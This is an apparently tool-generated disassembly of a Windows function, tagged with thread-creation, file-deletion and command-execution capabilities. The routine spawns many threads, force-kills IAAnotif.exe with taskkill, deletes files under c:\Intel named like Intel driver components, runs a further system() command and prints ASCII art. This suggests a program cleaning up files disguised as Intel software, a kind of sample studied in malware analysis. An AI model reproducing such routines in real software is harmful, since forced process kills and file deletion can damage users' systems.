Function at 0x401880
Capabilities:
Create thread
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [0x406070], 0x299
jg 0x4018e2
lea esi, [esi]
lea edi, [edi]
mov dword [esp], 0xa
call sub.msvcrt.dll__sleep
call sub.msvcrt.dll__kbhit
test eax, eax
jne 0x4018e2
inc dword [0x406070]
mov edx, 0x406070
xor eax, eax
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0x401480
call sub.msvcrt.dll__beginthread
cmp dword [0x406070], 0x299
jle 0x4018a0
call sub.msvcrt.dll__getch
cmp eax, 0x7f
je 0x40196b
mov eax, dword [0x406070]
jmp 0x40190f
mov ecx, dword [0x4060a0]
mov dword [esp], ecx
call sub.KERNEL32.dll_ReleaseMutex
mov eax, dword [0x406070]
sub esp, 4
dec eax
mov dword [0x406070], eax
test eax, eax
jg 0x4018f3
mov edx, dword [0x406060]
mov eax, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_WaitForSingleObject
movsx edx, word [0x406082]
sub esp, 8
lea ecx, [ebp - 8]
mov dword [esp + 0x10], ecx
movsx ecx, word [0x406080]
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, 0x20
imul ecx, edx
mov dword [esp + 4], eax
mov edx, dword [0x4060b0]
mov dword [esp + 8], ecx
mov dword [esp], edx
call sub.KERNEL32.dll_FillConsoleOutputCharacterA
sub esp, 0x14
leave
ret
mov ecx, dword [0x406070]
test ecx, ecx
jmp 0x401993
mov edx, dword [0x4060a0]
mov dword [esp], edx
call sub.KERNEL32.dll_ReleaseMutex
mov eax, dword [0x406070]
sub esp, 4
dec eax
mov dword [0x406070], eax
test eax, eax
jg 0x401975
mov edx, dword [0x406060]
mov eax, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_WaitForSingleObject
movsx edx, word [0x406082]
sub esp, 8
lea ecx, [ebp - 4]
mov dword [esp + 0x10], ecx
movsx ecx, word [0x406080]
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, 0x20
imul ecx, edx
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov ecx, dword [0x4060b0]
mov dword [esp], ecx
call sub.KERNEL32.dll_FillConsoleOutputCharacterA
sub esp, 0x14
mov dword [esp], str.taskkill__IM_IAAnotif.exe__F
call sub.msvcrt.dll_system
mov dword [esp], str.c:IntelIAAnotif.exe
call sub.msvcrt.dll_remove
mov dword [esp], str.c:Inteliaahci.cat
call sub.msvcrt.dll_remove
mov dword [esp], 0x405167
call sub.msvcrt.dll_system
mov dword [esp], str.hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhhhhhhhhhhhhyyssyyhhhhhhhhhhhhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhhhhhhho______________ohhhhhhhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhhhho________:dh:________ohhhhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhho._______:dMMMM_________.ohhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhh:_______:dMMMMs____________:hhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhh.______:dMMMMs____.yMd:______.hhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhh:_______yMMMMh.__.yMMMMMd:_____:hhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhy_________.yMMMMyyMMMMhMMMMd:____yhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhho__:hMMs____.yMMMMMMy.__sMMMMd:__ohhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhho__:dMMMMs__.yMMMMMMy.____sMMh:__ohhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhy____:dMMMMhMMMMyyMMMMy._________yhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhh:_____:dMMMMMy.__.hMMMMy_______:hhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhh.______:dMy.____sMMMMd:______.hhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhh:____________sMMMMd:_______:hhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhho._________MMMMd:_______.ohhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhhhho________:hd:________ohhhhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhhhhhhho______________ohhhhhhhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhhhhhhhhhhhhyyssyyhhhhhhhhhhhhhhhhh
call sub.msvcrt.dll_printf
mov dword [esp], str.hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
call sub.msvcrt.dll_printf
call sub.msvcrt.dll__getch
jmp 0x4018ec